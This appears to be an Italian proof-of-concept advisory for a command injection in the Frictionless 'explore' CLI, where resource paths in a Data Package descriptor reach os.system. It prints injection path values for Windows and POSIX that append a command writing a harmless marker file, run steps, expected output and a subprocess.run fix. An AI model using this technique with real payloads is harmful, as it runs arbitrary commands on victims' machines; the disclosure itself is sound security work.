
Proof-of-concept per CVE-2026-93349, un'OS command injection in Frictionless <= 5.20.0rc1 explore CLI tramite percorsi di descrittori di Data Package malevoli.
<= 5.20.0rc1 explore di FrictionlessGravità: Alta, CVSS 3.1 8.8
Vettore: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Interessato: tutte le versioni di Frictionless <= 5.20.0rc1
Componente: frictionless.console.commands.explore
CWE: CWE-78 (Command Injection del sistema operativo), CWE-20 (Validazione dell'input non corretta)
Segnalato da: Sai Teja Erukude
Le versioni di Frictionless fino alla prerelease 5.20.0rc1 inclusa contengono una
vulnerabilità di command injection del sistema operativo nel comando CLI frictionless explore.
Il comando carica un descrittore di Data Package fornito dall'utente, raccoglie i percorsi
delle risorse, deriva resource.normpath, unisce quei percorsi in un'unica stringa di
comando e passa quella stringa direttamente a os.system:
paths = [resource.normpath for resource in resources if resource.normpath]
os.system(f"vd {' '.join(paths)}")
Poiché resources[*].path è un metadato controllato dal descrittore proveniente da
datapackage.json, un attaccante può includere metacaratteri della shell in un percorso
di risorsa. Quando una vittima esegue frictionless explore sul descrittore malevolo, la
shell interpreta quei metacaratteri ed esegue il comando iniettato.
Un attaccante può eseguire comandi arbitrari nel contesto di sicurezza dell'utente che
esegue frictionless explore.
Ciò può influire sui flussi di lavoro in cui gli utenti ispezionano, convalidano o esplorano descrittori di Data Package provenienti da progetti, archivi, repository o dataset condivisi non attendibili.
A seconda dell'ambiente locale, ciò può consentire di:
Il percorso vulnerabile è il comando explore:
frictionless explore <package>
-> Package.from_descriptor(...)
-> Resource.list()
-> resource.normpath
-> os.system(f"vd {' '.join(paths)}")
Il PoC genera un descrittore di Data Package in cui resources[0].path contiene un
payload innocuo che scrive un file marcatore.
Su Windows, il percorso generato utilizza separatori di comando &:
data.csv & echo frictionless_explore_command_injection_triggered>"...\marker.txt" & rem
Sui sistemi POSIX, il percorso generato utilizza separatori di comando punto e virgola:
data.csv; printf %s frictionless_explore_command_injection_triggered > .../marker.txt; #
Il runner invoca il vero comando frictionless explore dal pacchetto installato. Cancella
PATH per il processo figlio in modo che il visualizzatore vd previsto non venga avviato
in modo interattivo, ma il comando iniettato viene comunque eseguito quando la shell
analizza la stringa di comando costruita.
package_builder.py crea il descrittore di Data Package
controllato dall'attaccante e un file CSV benigno.
run_poc.py convalida il descrittore, invoca
frictionless explore e stampa le prove di esecuzione.
Eseguire solo in un ambiente di test locale:
python -m venv .venv
.venv\Scripts\activate
python -m pip install -r requirements.txt
python -B run_poc.py
Il file requirements.txt incluso fissa frictionless==5.20.0rc1, l'ultima
prerelease vulnerabile confermata in questo intervallo.
Prove attese sulle versioni vulnerabili:
frictionless_version : 5.20.0rc1
installed_package : True
descriptor_valid : True
listed_resource_count : 1
raw_path_contains_payload : True
normpath_contains_payload : True
explore_returncode : 0
viewer_launch_disabled : True
marker_exists : True
marker_contents
frictionless_explore_command_injection_triggered
success : True
La prova importante è che il descrittore malevolo è valido, il percorso controllato dal
descrittore sopravvive fino a resource.normpath, e marker.txt viene creato dopo
l'esecuzione di frictionless explore.
Il payload è intenzionalmente innocuo. Scrive solo questa stringa marcatore locale:
frictionless_explore_command_injection_triggered
Non avvia una sessione shell, non si connette a un servizio di rete, non legge segreti, non elimina dati e non modifica file al di fuori della directory del PoC.
Evitare di passare percorsi controllati dal descrittore a una shell.
Sostituire l'invocazione basata sulla shell con subprocess.run utilizzando un vettore
di argomenti:
subprocess.run(["vd", *paths], check=False)
Questo passa ogni percorso di risorsa come argomento letterale a vd. I metacaratteri
della shell all'interno di un percorso rimangono caratteri ordinari all'interno di quella
singola voce argv e non vengono eseguiti.
La blacklist di caratteri specifici nei percorsi è più debole perché la sintassi della shell varia tra piattaforme e shell. Il confine di invocazione del comando è la causa radice, quindi la correzione duratura dovrebbe evitare l'interpretazione della shell.
Vedere fix.md per una patch suggerita.
Scoperto e segnalato da Sai Teja Erukude, coordinato tramite VulnCheck.
exploit_walkthrough.mdfix.md